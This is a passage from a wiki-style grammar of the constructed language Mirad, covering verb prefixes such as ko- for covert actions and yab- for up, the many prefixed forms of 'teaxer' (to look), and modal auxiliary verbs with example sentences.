::* '''der'''....''to say'' → '''&lt;u&gt;kye&lt;/u&gt;der'''....''to guess, divine''
::* '''per'''....''to per'' → '''&lt;u&gt;kye&lt;/u&gt;per'''....''to fluctuate''
::* '''poper'''....''to travel'' → '''&lt;u&gt;kye&lt;/u&gt;poper'''....''to wander''
::* '''napxer'''....''to order'' → '''&lt;u&gt;kye&lt;/u&gt;napxer'''....''to scramble, shuffle''
::* '''bier'''....''to take'' → '''&lt;u&gt;kye&lt;/u&gt;bier'''....''to select''
::* '''kaxer'''....''to find'' → '''&lt;u&gt;kye&lt;/u&gt;kaxer'''....''to discover, to find by chance''
::* '''vyabxer'''....''to check'' → '''&lt;u&gt;kye&lt;/u&gt;vabxer'''....''to spot check''

=== Expressing the Notion of Change with '''kya-''' ===
::* '''baser'''....''to make a move'' → '''&lt;u&gt;kya&lt;/u&gt;baser'''....''to shift''
::* '''sanxer'''....''to form'' → '''&lt;u&gt;kya&lt;/u&gt;sanxer'''....''to transform''
::* '''xer'''....''to do/make'' → '''&lt;u&gt;kya&lt;/u&gt;xer'''....''to change''
::* '''napxer'''....''to order'' → '''&lt;u&gt;kya&lt;/u&gt;napxer'''....''to shuffle''
::* '''dyanxer'''....''to phrase'' → '''&lt;u&gt;kya&lt;/u&gt;dyanxer'''....''to paraphrase''
=== Expressing Covert Actions with '''ko-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;ko&lt;/u&gt;ber'''....''to hide''
::* '''beler'''....''to carry'' → '''&lt;u&gt;ko&lt;/u&gt;beler'''....''to smuggle''
::* '''bier'''....''to take'' → '''&lt;u&gt;ko&lt;/u&gt;bier'''....''to steal''
::* '''ebkyaxer'''....''to exchange'' → '''&lt;u&gt;ko&lt;/u&gt;ebkyaxer'''....''to traffic''
::* '''exer'''....''to operate'' → '''&lt;u&gt;ko&lt;/u&gt;exer'''....''to spy, operate under cover''
::* '''fler'''....''to wish for'' → '''&lt;u&gt;ko&lt;/u&gt;fler'''....''to covet, be jealous of''
::* '''apyexer'''....''to attack'' → '''&lt;u&gt;ko&lt;/u&gt;apyexer'''....''to ambush, to sneak-attack''
::* '''loexer'''....''to destroy'' → '''&lt;u&gt;ko&lt;/u&gt;loexer'''....''to sabotage''
=== Expressing Actions with Intentionality with '''ke-''' ===
::* '''teaxer'''....''to look'' → '''&lt;u&gt;ke&lt;/u&gt;teaxer'''....''to scan''
::* '''vyaxer'''....''to prove'' → '''&lt;u&gt;ke&lt;/u&gt;vyaxer'''....''to experiment''
::* '''tier'''....''to learn'' → '''&lt;u&gt;ke&lt;/u&gt;tier'''....''to be interested in''
::* '''bier'''....''to take'' → '''&lt;u&gt;ke&lt;/u&gt;bier'''....''to choose''
::* '''pexer'''....''to catch'' → '''&lt;u&gt;ke&lt;/u&gt;pexer'''....''to hunt''

=== Expressing Lateral Actions with '''ku-''' ===
::* '''buxer'''....''to push'' → '''&lt;u&gt;ku&lt;/u&gt;buxer'''....''to rebuff, shun''
::* '''der'''....''to say'' → '''&lt;u&gt;ku&lt;/u&gt;der'''....''to comment, remark''
::* '''tyoper'''....''to step'' → '''&lt;u&gt;ku&lt;/u&gt;tyoper'''....''to step aside''
=== Expressing Diagonal Actions with '''ki-''' ===
::* '''teaxer'''....''to look'' → '''&lt;u&gt;ki&lt;/u&gt;teaxer'''....''to look askance at''
::* '''tuxer'''....''to teach'' → '''&lt;u&gt;ki&lt;/u&gt;tuxer'''....''to brainwash''
::* '''tyoper'''....''to walk'' → '''&lt;u&gt;ki&lt;/u&gt;tyoper'''....''to limp''
::* '''pyoser'''....''to fall'' → '''&lt;u&gt;ki&lt;/u&gt;pyoser'''....''to slip and fall''
::* '''per'''....''to go'' → '''&lt;u&gt;ki&lt;/u&gt;per'''....''to slide''

=== Expressing Near Actions with '''yub-'''===
::* '''der'''....''to say'' → '''&lt;u&gt;yub&lt;/u&gt;der'''....''to intimate, hint''
::* '''gexer'''....''to equate'' → '''&lt;u&gt;yub&lt;/u&gt;gexer'''....''to approximate''
::* '''bixer'''....''to pull'' → '''&lt;u&gt;yu(b)&lt;/u&gt;bixer'''....''to attract, draw near''
::* '''teaxer'''....''to look'' → '''&lt;u&gt;yub&lt;/u&gt;teaxer'''....''to scrutinize, examine''

=== Expressing Distance Actions with '''yib-''' (''far, tele-'') ===
::* '''drer'''....''to write'' → '''&lt;u&gt;yib&lt;/u&gt;drer'''....''to wire, telegraph''
::* '''bixer'''....''to pull'' → '''&lt;u&gt;yi(b)&lt;/u&gt;bixer'''....''to distract''
::* '''tuier'''....''to communicate'' → '''&lt;u&gt;yib&lt;/u&gt;tuier'''....''to telecommunicate''
::* '''nyuxer'''....''to deliver'' → '''&lt;u&gt;yib&lt;/u&gt;nyuxer'''....''to mail, post''

=== Expressing ''up-, super-'' with '''yab-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;ya(b)&lt;/u&gt;ber'''....''to raise, to put up''
::* '''bixler'''....''to drag'' → '''&lt;u&gt;ya(b)&lt;/u&gt;bixler'''....''to dredge up''
::* '''uper'''....''to come'' → '''&lt;u&gt;yab&lt;/u&gt;uper'''....''to come up''
::* '''nogyanxer'''....''to scale'' → '''&lt;u&gt;yab&lt;/u&gt;nogyanxer'''....''to scale up, escalate''

=== Expressing ''down-, sub-'' with '''yob-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;yo(b)&lt;/u&gt;ber'''....''to lower, put down''
::* '''kyaber'''....''to shift'' → '''&lt;u&gt;yob&lt;/u&gt;kyaxer'''....''to downshift''
::* '''musper'''....''to climb'' → '''&lt;u&gt;yob&lt;/u&gt;musper'''....''to climb down''
::* '''nogyanxer'''....''to scale'' → '''&lt;u&gt;yob&lt;/u&gt;nogyanxer'''....''to downscale''

=== Expressing ''in-'' with '''yeb-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;ye(b)&lt;/u&gt;ber'''....''to insert, put in''
::* '''beler'''....''to carry'' → '''&lt;u&gt;ye(b)&lt;/u&gt;beler'''....''to import''
::* '''uzber'''....''to bend'' → '''&lt;u&gt;yeb&lt;/u&gt;uzber'''....''to inflect''
::* '''yujber'''....''to close'' → '''&lt;u&gt;yeb&lt;/u&gt;yujber'''....''to enclose, include''

=== Expressing ''out-, ex-, extra-'' with '''oyeb-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;oye&lt;/u&gt;ber'''....''to put out, expose''
::* '''beler'''....''to carry'' → '''&lt;u&gt;oye&lt;/u&gt;beler'''....''to export''
::* '''uber'''....''to send'' → '''&lt;u&gt;oyeb&lt;/u&gt;uber'''....''to emit, send out''
::* '''yujber'''....''to close'' → '''&lt;u&gt;oyeb&lt;/u&gt;yujber'''....''to exclude''

=== Expressing ''pro-, forward'' with '''zay-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;zay&lt;/u&gt;ber'''....''to advance, put forward''
::* '''kexer'''....''to seek'' → '''&lt;u&gt;zay&lt;/u&gt;kexer'''....''to scout out''
::* '''puxer'''....''to throw'' → '''&lt;u&gt;zay&lt;/u&gt;puxer'''....''to propel, thrust''
::* '''tyoper'''....''to walk'' → '''&lt;u&gt;zay&lt;/u&gt;tyoper'''....''to progress, to walk forward''

=== Expressing ''back-, retro-, re-'' with '''zoy-''' ===
::* '''uber'''....''to send'' → '''&lt;u&gt;zoy&lt;/u&gt;ber'''....''to send back''
::* '''kixer'''....''to bend'' → '''&lt;u&gt;zoy&lt;/u&gt;kixer'''....''to reflect''
::* '''puxer'''....''to throw'' → '''&lt;u&gt;zoy&lt;/u&gt;puxer'''....''to repel''
::* '''neadper'''....''to track'' → '''&lt;u&gt;zoy&lt;/u&gt;neadper'''....''to backtrack''

=== Expressing ''across, trans-, over-, cross-'' with '''zey-''' ===
::* '''per'''....''to go'' → '''&lt;u&gt;zey&lt;/u&gt;per'''....''to cross, transit''
::* '''beler'''....''to carry'' → '''&lt;u&gt;zey&lt;/u&gt;beler'''....''to transport, convey''
::* '''drer'''....''to write'' → '''&lt;u&gt;zey&lt;/u&gt;drer'''....''to transcribe''
::* '''kyober'''....''to fix'' → '''&lt;u&gt;zey&lt;/u&gt;kyober'''....''to transfix, transplant''
::* '''vyayeker'''....''to check'' → '''&lt;u&gt;zey&lt;/u&gt;vyayeker'''....''to crosscheck''

=== Expressing ''through, per-'' with '''zye-''' ===
::* '''per'''....''to go'' → '''&lt;u&gt;zye&lt;/u&gt;per'''....''to permeate, get through''
::* '''kexer'''....''to seek'' → '''&lt;u&gt;zye&lt;/u&gt;kexer'''....''to rummage, sift through''
::* '''drer'''....''to write'' → '''&lt;u&gt;zye&lt;/u&gt;drer'''....''to cross out, draw a line through''
::* '''iluer'''....''to pour'' → '''&lt;u&gt;zye&lt;/u&gt;iluer'''....''to soak''
::* '''koper'''....''to sneak'' → '''&lt;u&gt;zye&lt;/u&gt;koper'''....''to sneak through''
=== Expressing ''all over, widely, all about'' with '''zya-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;zya&lt;/u&gt;ber'''....''to spread''
::* '''buer'''....''to give'' → '''&lt;u&gt;zya&lt;/u&gt;buer'''....''to distribute''
::* '''ijber'''....''to open'' → '''&lt;u&gt;zya&lt;/u&gt;ijber'''....''to open wide''
::* '''nuxer'''....''to pay'' → '''&lt;u&gt;zya&lt;/u&gt;nuxer'''....''to disburse''
::* '''puxer'''....''to throw'' → '''&lt;u&gt;zya&lt;/u&gt;puxer'''....''to scatter, cast about''

=== Expressing ''mid-, center'' with '''ze-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;ze&lt;/u&gt;ber'''....''to balance''
::* '''byaser'''....''to stand'' → '''&lt;u&gt;ze&lt;/u&gt;byaser'''....''to straddle''
::* '''der'''....''to say'' → '''&lt;u&gt;ze&lt;/u&gt;der'''....''to interject''
::* '''pyoser'''....''to fall'' → '''&lt;u&gt;ze&lt;/u&gt;pyoser'''....''to sag''
::* '''poxer'''....''to stop'' → '''&lt;u&gt;ze&lt;/u&gt;poxer'''....''to interrupt''
=== Expressing ''futurity'' with '''oj-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;oj&lt;/u&gt;ber'''....''to put off, postpone''
::* '''bier'''....''to take'' → '''&lt;u&gt;oj&lt;/u&gt;bier'''....''to borrow''
::* '''fer'''....''to want'' → '''&lt;u&gt;oj&lt;/u&gt;fer'''....''to wish, aspire''
::* '''texer'''....''to think'' → '''&lt;u&gt;oj&lt;/u&gt;texer'''....''to plan''
::* '''teater'''....''to see'' → '''&lt;u&gt;oj&lt;/u&gt;teater'''....''to envision''
::* '''vader'''....''to affirm'' → '''&lt;u&gt;oj&lt;/u&gt;vader'''....''to promise''
=== Expressing ''past'' with '''aj-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;aj&lt;/u&gt;ber'''....''to pass, relegate to the past''
::* '''der'''....''to say'' → '''&lt;u&gt;aj&lt;/u&gt;der'''....''to evoke, hearken, recount''
::* '''embier'''....''to occupy'' → '''&lt;u&gt;aj&lt;/u&gt;embier'''....''to haunt''
::* '''texer'''....''to think'' → '''&lt;u&gt;aj&lt;/u&gt;texer'''....''to reminisce, to reflect''
::* '''uvtosder'''....''to express sadness'' → '''&lt;u&gt;aj&lt;/u&gt;uvtosder'''....''to apologize''
::* '''nexer'''....''to store'' → '''&lt;u&gt;aj&lt;/u&gt;nexer'''....''to archive''
=== Expressing ''present'' with '''ej-''' ===
::* '''buer'''....''to give'' → '''&lt;u&gt;ej&lt;/u&gt;buer'''....''to present''
::* '''eser'''....''to exist'' → '''&lt;u&gt;ej&lt;/u&gt;eser'''....''to attend, to be present''
::* '''nuxer'''....''to pay'' → '''&lt;u&gt;ej&lt;/u&gt;nuxer'''....''to pay cash''
::* '''tuer'''....''to inform'' → '''&lt;u&gt;ej&lt;/u&gt;tuer'''....''to update''
::* '''uvtosder'''....''to express sadness'' → '''&lt;u&gt;ej&lt;/u&gt;uvtosder'''....''to apologize''
=== Expressing a stretched out action with '''yag-''' (''long'') ===
::* '''beser'''....''to stay'' → '''&lt;u&gt;yag&lt;/u&gt;beser'''....''to linger''
::* '''bexer'''....''to hold'' → '''&lt;u&gt;yag&lt;/u&gt;bexer'''....''to conserve, preserve''
::* '''daler'''....''to talk'' → '''&lt;u&gt;yag&lt;/u&gt;daler'''....''to ramble''
::* '''dodaler'''....''to orate'' → '''&lt;u&gt;yag&lt;/u&gt;dodaler'''....''to harangue''
::* '''fer'''....''to want'' → '''&lt;u&gt;yag&lt;/u&gt;fer'''....''to yearn, pine''
::* '''teaxer'''....''to look'' → '''&lt;u&gt;yag&lt;/u&gt;teaxer'''....''to stare''
::* '''fer'''....''to want'' → '''&lt;u&gt;yag&lt;/u&gt;fer'''....''to yearn, pine''
=== Expressing a brief action with '''yog-''' (''short'') ===
::* '''drer'''....''to write'' → '''&lt;u&gt;yog&lt;/u&gt;drer'''....''to abbreviate''
::* '''teaxer'''....''to look'' → '''&lt;u&gt;yog&lt;/u&gt;teaxer'''....''to glance at''
::* '''tujer'''....''to sleep'' → '''&lt;u&gt;yog&lt;/u&gt;tujer'''....''to snooze, nap''
::* '''gobler'''....''to cut'' → '''&lt;u&gt;yog&lt;/u&gt;gobler'''....''to cut short, truncate''

=== Some Hybrid Prefixes ===
The prefix '''kui-''' is a hybrid of '''ku-''' (''lateral'') and '''ki-''' (''diagonal'')

::* '''per'''....''to go'' → '''&lt;u&gt;kui&lt;/u&gt;per'''....''to wobble''
::* '''tyoper'''....''to walk'' → '''&lt;u&gt;kui&lt;/u&gt;tyoper'''....''to limp''

The prefix '''zao-''' is a truncated hybrid of '''zay-''' (''forward'') and '''zoy-''' (''backwards''), eg:

::* '''baser'''....''to move'' → '''&lt;u&gt;zao&lt;/u&gt;baser'''....''to rock''
::* '''per'''....''to go'' → '''&lt;u&gt;zao&lt;/u&gt;per'''....''to alternate''
::* '''beler'''....''to carry'' → '''&lt;u&gt;kui&lt;/u&gt;beler'''....''to shuttle, ferry''
::* '''pyoser'''....''to fall'' → '''&lt;u&gt;kui&lt;/u&gt;pyoser'''....''to pendulate''

The prefix '''yaob-''' is a hybrid of '''yab-''' (''up'') and '''yob-''' (''down'').  The final '''b-''' is assimilated or dropped before a '''b''' or '''p'''.

::* '''baser'''....''to move'' → '''&lt;u&gt;yao&lt;/u&gt;baser'''....''to bob''
::* '''per'''....''to go'' → '''&lt;u&gt;yao&lt;/u&gt;per'''....''to heave''
::* '''beler'''....''to carry'' → '''&lt;u&gt;yao&lt;/u&gt;beler'''....''to shuttle, ferry''
::* '''peper'''....''to ride'' → '''&lt;u&gt;yao&lt;/u&gt;peper'''....''to jounce''
::* '''puser'''....''to jump'' → '''&lt;u&gt;yao&lt;/u&gt;puser'''....''to hop, bounce''

The prefix '''bui-''' is a hybrid of '''bu-''' (''to'') and '''bi-''' (''from''), eg:

::* '''drer'''....''to write'' → '''&lt;u&gt;bui&lt;/u&gt;drer'''....''to correspond''
::* '''-er'''....''to x'' → '''&lt;u&gt;bui&lt;/u&gt;er'''....''to trade''
::* '''beler'''....''to carry'' → '''&lt;u&gt;bui&lt;/u&gt;beler'''....''to shuttle, ferry''
::* '''xer'''....''to do'' → '''&lt;u&gt;bui&lt;/u&gt;xer'''....''to push and pull, spring''
::* '''poper'''....''to travel'' → '''&lt;u&gt;bui&lt;/u&gt;poper'''....''to travel to and fro, travel round trip''

The prefix '''uiz-''' is a hybrid of '''uz-''' (''crooked'') and '''iz-''' (''straight''), eg:

::* '''drer'''....''to write'' → '''&lt;u&gt;uiz&lt;/u&gt;drer'''....''to squiggle''
::* '''der'''....''to say'' → '''&lt;u&gt;uiz&lt;/u&gt;der'''....''to equivocate''
::* '''baser'''....''to move'' → '''&lt;u&gt;uiz&lt;/u&gt;baser'''....''to wiggle, to squirm''
::* '''per'''....''to go'' → '''&lt;u&gt;uiz&lt;/u&gt;per'''....''to careen, reel''
::* '''paser'''....''to move'' → '''&lt;u&gt;uiz&lt;/u&gt;paser'''....''to swerve, yaw''

The prefix '''zui-''' is a hybrid of '''zu-''' (''left'') and '''zi-''' (''right''), eg:

::* '''drer'''....''to write'' → '''&lt;u&gt;uiz&lt;/u&gt;drer'''....''to squiggle''
::* '''buxer'''....''to push'' → '''&lt;u&gt;zui&lt;/u&gt;buxer'''....''to push around''
::* '''baser'''....''to move'' → '''&lt;u&gt;zui&lt;/u&gt;baser'''....''to sway, totter''
::* '''per'''....''to go'' → '''&lt;u&gt;zui&lt;/u&gt;per'''....''to zigzag''
::* '''pasler'''....''to shake'' → '''&lt;u&gt;zui&lt;/u&gt;pasler'''....''to wobble''

The prefix '''aoyeb-''' is a hybrid of '''(a)yeb-''' (''in'') and '''oyeb-''' (''out''), eg:

::* '''ber'''....''to put'' → '''&lt;u&gt;aoye&lt;/u&gt;ber'''....''to insert and extract''
::* '''tiexer'''....''to breathe'' → '''&lt;u&gt;aoye&lt;/u&gt;tiexer'''....''to breath in and out''
::* '''paper'''....''to fly'' → '''&lt;u&gt;aoye&lt;/u&gt;paper'''....''to fly in and out''

The prefix '''aob-''' is a hybrid of '''ab-''' (''on'') and '''ob-''' (''off''), eg:

::* '''ber'''....''to put'' → '''&lt;u&gt;ao&lt;/u&gt;ber'''....''to put on and off''
::* '''per'''....''to go'' → '''&lt;u&gt;ao&lt;/u&gt;per'''....''to get on and off, embark and disembark''

The prefix '''vao-''' is a hybrid of '''va-''' (''yes'') and '''vo-''' (''no''), eg:

::* '''der'''....''to say'' → '''&lt;u&gt;vao&lt;/u&gt;der'''....''to decide''
::* '''daler'''....''to talk'' → '''&lt;u&gt;vao&lt;/u&gt;daler'''....''to waffle''
::* '''duder'''....''to answer'' → '''&lt;u&gt;vao&lt;/u&gt;duder'''....''to answer yes or no''
::* '''kyaxer'''....''to change'' → '''&lt;u&gt;vao&lt;/u&gt;kyaxer'''....''to redact''
::* '''texer'''....''to think'' → '''&lt;u&gt;vao&lt;/u&gt;texer'''....''to deliberate, vacillate''

The prefix '''uij''' is a hybrid of '''uj-''' (''end'') and '''ij-''' (''begin'')

::* '''ber'''....''to put'' → '''&lt;u&gt;uij&lt;/u&gt;ber'''....''to switch off and on''
::* '''daler'''....''to talk'' → '''&lt;u&gt;uij&lt;/u&gt;daler'''....''to stutter''

The prefix '''yuij''' is a hybrid of '''yuj-''' (''close'') and '''yij-''' (''open'')

::* '''ber'''....''to put'' → '''&lt;u&gt;yuij&lt;/u&gt;ber'''....''to open and close, blink''

The prefix '''huim''' is a hybrid of '''hum''' (''there'') and '''him''' (''there'')

::* '''paper'''....''to fly'' → '''&lt;u&gt;huim&lt;/u&gt;paper'''....''to fly here and yon''
::* '''per'''....''to go'' → '''&lt;u&gt;huim&lt;/u&gt;per'''....''to wander''
::* '''kexer'''....''to seek'' → '''&lt;u&gt;huim&lt;/u&gt;kexer'''....''to search high and low''

=== Different Nuances of '''teaxer''' with Prefixes ===
&lt;div style=&quot;background: lightyellow;{{Text default color}}; border: solid blue 2px; {{column-count|3}};{{column-rule|2px solid blue}};font-size:smaller;&quot;;&gt;
::* '''teaxer'''....''to look, behold, regard''
::* '''aybteaxer'''....''to supervise, look over''
::* '''ajteaxer'''....''to look back on (retrospect)''
::* '''eynteaxer'''....''to squint''
::* '''fizteaxer'''....''to respect''
::* '''fuzteaxer'''....''to disrespect''
::* '''gawteaxer'''....''to review, re-look''
::* '''hyuitteaxer'''....''to look at one another''
::* '''ibteaxer'''....''to ignore''
::* '''igteaxer'''....''to glance, glimpse''
::* '''ifteaxer'''....''to marvel at''
::* '''izteaxer'''....''to view directly, confront, aim''
::* '''jateaxer'''....''to preview''
::* '''jeteaxer'''....''to watch, observe''
::* '''joteaxer'''....''to review''
::* '''kateaxer'''....''to look for''
::* '''keteaxer'''....''to scan''
::* '''kiteaxer'''....''to look askance''
::* '''koteaxer'''....''to peek, spy''
::* '''kozyeteaxer'''....''to peep''
::* '''kozyoteaxer'''....''to peer''
::* '''kuteaxer'''....''to observe''
::* '''kyeteaxer'''....''to browse''
::* '''kyoteaxer'''....''to stare, glare''
::* '''oteaxer'''....''to ignore, overlook''
::* '''ufteaxer'''....''to glare, leer''
::* '''ugteaxer'''....''to gaze''
::* '''yagteaxer'''....''to gape, gawk''
::* '''yebteaxer'''....''to inspect''
::* '''yibteaxer'''....''to view from afar''
::* '''yogteaxer'''....''to glance at''
::* '''yokteaxer'''....''to get a glimpse of''
::* '''yubteaxer'''....''to examine''
::* '''yuibteaxer'''....''to look near and far''
::* '''yuzteaxer'''....''to look around, circumspect''
::* '''yanteaxer'''....''to view together''
::* '''yizteaxer'''....''to look beyond, overlook''
::* '''vyateaxer'''....''to investigate, check out''
::* '''vyoteaxer'''....''to view wrongly''
::* '''zateaxer'''....''to face, confront''
::* '''zayteaxer'''....''to look ahead, expect''
::* '''zoyteaxer'''....''to look back''
::* '''zeyteaxer'''....''to look across''
::* '''ziteaxer'''....''to look to the right''
::* '''zuteaxer'''....''to look to the left''
::* '''zuiteaxer'''....''to look right and left''
::* '''zyateaxer'''....''to look all over, survey''
::* '''zyeteaxer'''....''to look through, peruse''
::* '''zyoteaxer'''....''to squint''
::* '''yobteaxer'''....''to look down''
::* '''yaobteaxer'''....''to look up and down''
::* '''zaoteaxer'''....''to look back and forth''
::* '''yabteaxer'''....''to look up''
::* '''yubketeaxer'''....''to pry''
::* '''uzteaxer'''....''to look indirectly at''
::* '''oyebteaxer'''....''to look out''
::* '''ojteaxer'''....''to peer into the future''
::* '''marteaxer'''....''to star-gaze''
::* '''tabteaxer'''....''to autopsy''
&lt;/div&gt;

== Modal Verbs ==
: Modal verbs are auxiliary verbs that are usually followed by the main verb in the infinitive or a subjunctive dependent clause and have to do with wanting, permitting, prohibiting, being able, being unable, needing, being obliged to do something, etc. 
==== Principal Modal Auxiliary Verbs ====
[[File:Ladies Should Listen poster.jpg|thumb|]]
: Mirad has a set of modal auxiliary verbs that can be followed by a main verb in the infinitive mode.  This is very much like English modal auxiliary verbs in the following examples:
::* ''I &lt;u&gt;want&lt;/u&gt; to go.''
::* ''You &lt;u&gt;must&lt;/u&gt; wait.''
::* ''You &lt;u&gt;may&lt;/u&gt; stay.''
::* ''I &lt;u&gt;dare&lt;/u&gt; say.''

: Here is a chart showing the main modal auxiliary verbs in Mirad:

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Principle Modal Auxiliary Verbs
|-
! Type !! Positive !! Negative
|-
! Permission
| '''afer'''....''may''&lt;br&gt;'''ayfer'''....''might'' || '''ofer'''....''may not''&lt;br&gt;'''oyfer'''....''might not''
|-
! Ability
| '''yafer'''....''can''||'''yofer'''....''cannot''
|-
! Need 
| '''efer'''....''need to'' ||
|-
! Obligation
| '''yefer'''....''must''&lt;br&gt;'''yeyfer'''....''should'' ||'''oyefer'''....''must not''&lt;br&gt;'''oyeyfer'''....''should not''
|-
! Desire 
| '''fer'''....''want to'' ||
|-
! Enjoyment 
| '''ifer'''....''love to, enjoy''&lt;br&gt;'''iyfer'''....''like to'' || '''ufer'''....''hate to''&lt;br&gt;'''uyfer'''....''dislike to''
|-
! Courage
|'''yifer'''....''dare to'' || '''yufer'''....''be afraid to, fear''
|-
! Liberty
| '''yiver'''....''have a right to, be free to'' ||  '''yuver'''....''be bound to, be supposed to''
|-
! Expectation
| '''yaker'''....''expect to'' || '''yoker'''....''be surprised to''
|-
! Conation
| '''yeker'''....''try to'' || 
|-
! Difficulty
| '''yiker'''....''to find it hard to'' || '''yuker'''....''to find it easy to''
|}

: These modal auxiliary verbs are often followed by a verbal infinitive, as in the following examples:
::* '''At fe &lt;u&gt;ter&lt;/u&gt;.'''....''I want &lt;u&gt;to know&lt;/u&gt;.''
::* '''Wit yifa &lt;u&gt;yeper&lt;/u&gt;.'''....''He dared &lt;u&gt;to enter&lt;/u&gt;.''
::* '''Yat yafe &lt;u&gt;teater&lt;/u&gt; yet.'''....''We can &lt;u&gt;see&lt;/u&gt; you.''
::* '''Duven et yaka &lt;u&gt;aker&lt;/u&gt;?'''....''Did you expect &lt;u&gt;to win&lt;/u&gt;?''
::* '''Diwe yeku &lt;u&gt;xer&lt;/u&gt; ga fi.'''....''Please try &lt;u&gt;to do&lt;/u&gt; better.''

: If the modal verb is in the hypothetical aspect (conditional), then the sense is somewhat mitigated, as in these examples:

:* '''At &lt;u&gt;fe&lt;/u&gt; per.'''....''I &lt;u&gt;want&lt;/u&gt; to go.''
:* '''At &lt;u&gt;fu&lt;/u&gt; per.'''....''I &lt;u&gt;would&lt;/u&gt; like to go.''

:* '''Et &lt;u&gt;yafe&lt;/u&gt; aker.'''....''You &lt;u&gt;can&lt;/u&gt; win.''
:* '''Et &lt;u&gt;yafu&lt;/u&gt; aker.'''....''You &lt;u&gt;could&lt;/u&gt; win.''

:* '''Yet &lt;u&gt;yefe&lt;/u&gt; iper.'''....''You &lt;u&gt;must&lt;/u&gt; leave.''
:* '''Yet &lt;u&gt;yefu&lt;/u&gt; iper.'''....''You &lt;u&gt;ought&lt;/u&gt; to leave.''

: Post-y-gliding the stem vowel of the modal verb also reduces the strength, for example:

:* '''At &lt;u&gt;ife&lt;/u&gt; et.''' ....''I &lt;u&gt;love&lt;/u&gt; you.''
:* '''At &lt;u&gt;iyfe&lt;/u&gt; et.''' ....''I &lt;u&gt;like&lt;/u&gt; you.''

:* '''Et &lt;u&gt;yefe&lt;/u&gt; iper.'''....''You &lt;u&gt;must&lt;/u&gt; leave.''
:* '''Et &lt;u&gt;yeyfe&lt;/u&gt; iper.'''....''You &lt;u&gt;should&lt;/u&gt; leave.''

:* '''Iyt &lt;u&gt;yafe&lt;/u&gt; aker.'''....''She &lt;u&gt;can&lt;/u&gt; win.''
:* '''Iyt &lt;u&gt;yayfe&lt;/u&gt; aker.'''....''She &lt;u&gt;might&lt;/u&gt; win.''

:* '''At &lt;u&gt;ufa&lt;/u&gt; uda tuz.'''....''I &lt;u&gt;hated&lt;/u&gt; that art.''
:* '''At &lt;u&gt;uyfa&lt;/u&gt; uda tuz.'''....''I &lt;u&gt;disliked&lt;/u&gt; that art.''

: The use of '''l''' and '''r''' intensify the meaning of the auxiliary verbs, eg:

:* '''Et &lt;u&gt;yuve&lt;/u&gt; puer jwe.'''....''You &lt;u&gt;are supposed&lt;/u&gt; to arrive on time.''
:* '''Et &lt;u&gt;yuvle&lt;/u&gt; tepzexer.'''....''You &lt;u&gt;have&lt;/u&gt; to pay attention.''
:* '''Et &lt;u&gt;yuvre&lt;/u&gt; buer nas.'''....''You &lt;u&gt;absolutely must&lt;/u&gt; give money.''

:* '''At &lt;u&gt;yeka&lt;/u&gt; ser yeva.'''....''I &lt;u&gt;tried&lt;/u&gt; to be fair.''
:* '''At &lt;u&gt;yekla&lt;/u&gt; ujber jwa.'''....''I &lt;u&gt;strove&lt;/u&gt; to finish early.''
:* '''At &lt;u&gt;yekra&lt;/u&gt; nixer ga nas.'''....''I &lt;u&gt;struggled (= worked hard))&lt;/u&gt; to earn more money.''

:* '''Iyt &lt;u&gt;ife&lt;/u&gt; eker zyun.'''....''She &lt;u&gt;loves&lt;/u&gt; to play ball.''
:* '''Iyt &lt;u&gt;ifla&lt;/u&gt; teater et.'''....''She &lt;u&gt;was delighted&lt;/u&gt; to see you.''
:* '''Iyt &lt;u&gt;ifre&lt;/u&gt; teaper him.'''....''She &lt;u&gt;adores&lt;/u&gt; visiting here.''

: Here are some examples showing how these modal verbs are used as auxiliaries:

::* '''Et &lt;u&gt;afe&lt;/u&gt; oyeper ay ifeker.'''....''You &lt;u&gt;may&lt;/u&gt; go out and play.''
::* '''Yat &lt;u&gt;efa&lt;/u&gt; tujer.'''....''We &lt;u&gt;needed&lt;/u&gt; to sleep.''
::* '''Ot &lt;u&gt;ofe&lt;/u&gt; mavier him.'''....''One &lt;u&gt;is prohibited&lt;/u&gt; to smoke here.''
::* '''Mavier him &lt;u&gt;ofwe&lt;/u&gt;.'''....''Smoking here is prohibited.''
::* '''At &lt;u&gt;ife&lt;/u&gt; dyeer.'''....''I &lt;u&gt;love&lt;/u&gt; to read.''
::* '''Duven et &lt;u&gt;fe&lt;/u&gt; yeper?'''....''Do you &lt;u&gt;want&lt;/u&gt; to come in?''
::* '''At &lt;u&gt;fu&lt;/u&gt; teaper et edjub.'''....''I &lt;u&gt;would like&lt;/u&gt; to visit you some day.''
::* '''It &lt;u&gt;ufaye hyaj&lt;/u&gt; teaxwer.'''....''He &lt;u&gt;has always hated&lt;/u&gt; being looked at.''
::* '''Duven et &lt;u&gt;iyfe&lt;/u&gt; per tilami?'''....''Do you &lt;u&gt;like&lt;/u&gt; going to bars?''
::* '''At &lt;u&gt;uyfe&lt;/u&gt; tijer gra jwa.'''....''I &lt;u&gt;dislike&lt;/u&gt; waking up too early.''
::* '''Et &lt;u&gt;yafe&lt;/u&gt; xer hyehos et fu.'''....''You &lt;u&gt;can&lt;/u&gt; do whatever you like.''
::* '''Et &lt;u&gt;yefer&lt;/u&gt; xer ad vyaas.'''....''You &lt;u&gt;must&lt;/u&gt; do the right thing.''
::* '''Et &lt;u&gt;yeyfe&lt;/u&gt; voy daler huuyen azay.'''....''You &lt;u&gt;should&lt;/u&gt; not talk so loud.''
::* '''At &lt;u&gt;yeyfa&lt;/u&gt; ter ga fi.'''....''I &lt;u&gt;should have&lt;/u&gt; known better.''
::* '''At &lt;u&gt;voy yifu&lt;/u&gt; der hyea fuas.'''....''I &lt;u&gt;would not dare&lt;/u&gt; say anything bad.''
::* '''&lt;u&gt;Von yufu&lt;/u&gt; der hos et tesde.'''....''&lt;u&gt;Don't be afraid&lt;/u&gt; to say what you mean.''
::* '''Et &lt;u&gt;yive&lt;/u&gt; dier yevanavdut.'''....''You &lt;u&gt;have a right&lt;/u&gt; to ask for a lawyer.''
